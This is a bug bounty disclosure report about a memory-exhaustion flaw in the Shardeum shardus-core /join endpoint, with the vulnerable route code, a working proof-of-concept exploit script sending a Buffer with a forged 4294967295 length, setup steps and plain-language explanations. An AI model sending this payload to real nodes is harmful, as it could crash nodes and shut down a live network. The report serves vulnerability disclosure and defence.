Inducing large memory allocation via /join endpoint
The /join endpoint stringifies and re-parses the request body using a custom stringify function that trusts a Buffer's declared length without validating the content. An attacker could send a crafted body to cause multi-gigabyte memory allocation and crash the node, potentially shutting down the network.
- Disclosed after under an hour
#39811 [BC-Critical] inducing large memory allocation via join endpoint
#39811 [BC-Critical] Inducing large memory allocation via /join endpoint
Submitted on Feb 7th 2025 at 21:48:26 UTC by @ZhouWu for Audit Comp | Shardeum: Core III
- Report ID: #39811
- Report Type: Blockchain/DLT
- Report severity: Critical
- Target: https://github.com/shardeum/shardus-core/tree/bugbounty
- Impacts:
- Network not being able to confirm new transactions (total network shutdown)
Description
Description
In core code there's a http POST endpoint called '/join'. The endpoint handler for some reason will try to stringify the http body and parse it again. The problem lies within these custom stringify function. The buggy stringify function will try to stringify a buffer object with the supplied length without actually checking if the content are actually valid. This lead to extremely large memory allocation of node and eventually crashing.
This is the affected area of code in src/p2p/Join/routes.ts
const joinRoute: P2P.P2PTypes.Route<Handler> = {
method: 'POST',
name: 'join',
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
// @ts-ignore
handler: async (req, res) => {
try {
const joinRequest: JoinRequest = Utils.safeJsonParse(Utils.safeStringify(req.body))
// Validate the joinReq against the ajv schema
const errors = verifyPayload(AJVSchemaEnum.JoinReq, joinRequest);
if (errors) {
res.status(400).json({
success: false,
fatal: true,
reason: 'Validation error: ' + errors.join('; ')
});
return
}
.... // more code
Proof of Concept
Proof of Concept
- Launch a local network to act as legitimate network.
- create a folder to save our exploit script
mkdir exploitandcd exploit - Create a file called
exploit.jswith the following content:
const axios = require('axios');
const ip = process.argv[2];
const port = process.argv[3];
const url = `http://${ip}:${port}/join`;
const payload = {
joinRequest: {
type: "Buffer",
data: { length: 4294967295 }
}
}
axios.post(url, payload)
- Save the following content in
package.json
{
"name": "stringify",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC",
"dependencies": {
"@shardus/types": "^1.2.21",
"axios": "^1.7.9"
}
}
- Wait for node to come online.
- Run the following command to install the dependencies
npm install - Run the following command to execute the exploit
node exploit.js <ip> <port>. Examplenode exploit.js 0.0.0.0 9008 - Check the memory of the node via shardus cli or task manager it'll have multi gigabytes of memory.
Impact
Large memory allocation in node process eventually leading to node crash. Can be used to perform a denial of service attack to the whole network. Total Network shutdown.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the custom stringify function allocates memory based on an attacker-controlled Buffer length field without validating that the buffer content matches that length.
Impact
Large memory allocation in the node process could eventually crash the node and be used to perform a denial of service attack on the whole network, causing a total network shutdown.
What the attacker needed
Network access to the /join endpoint
How it was found
- Launch a local network to act as a legitimate network.
- Create a folder for the exploit script and enter it.
- Create an exploit script that sends a POST request to the /join endpoint with a crafted body.
- Install the script's dependencies.
- Wait for the node to come online.
- Run the exploit script against the node's IP and port, then check the node's memory usage.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A server endpoint accepts data from anyone and tries to convert it to text and back. The conversion code believes a number in the data that says how long a buffer is, without checking if that much data actually exists. By claiming a huge length, an attacker makes the server reserve a huge amount of memory, which can crash it.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.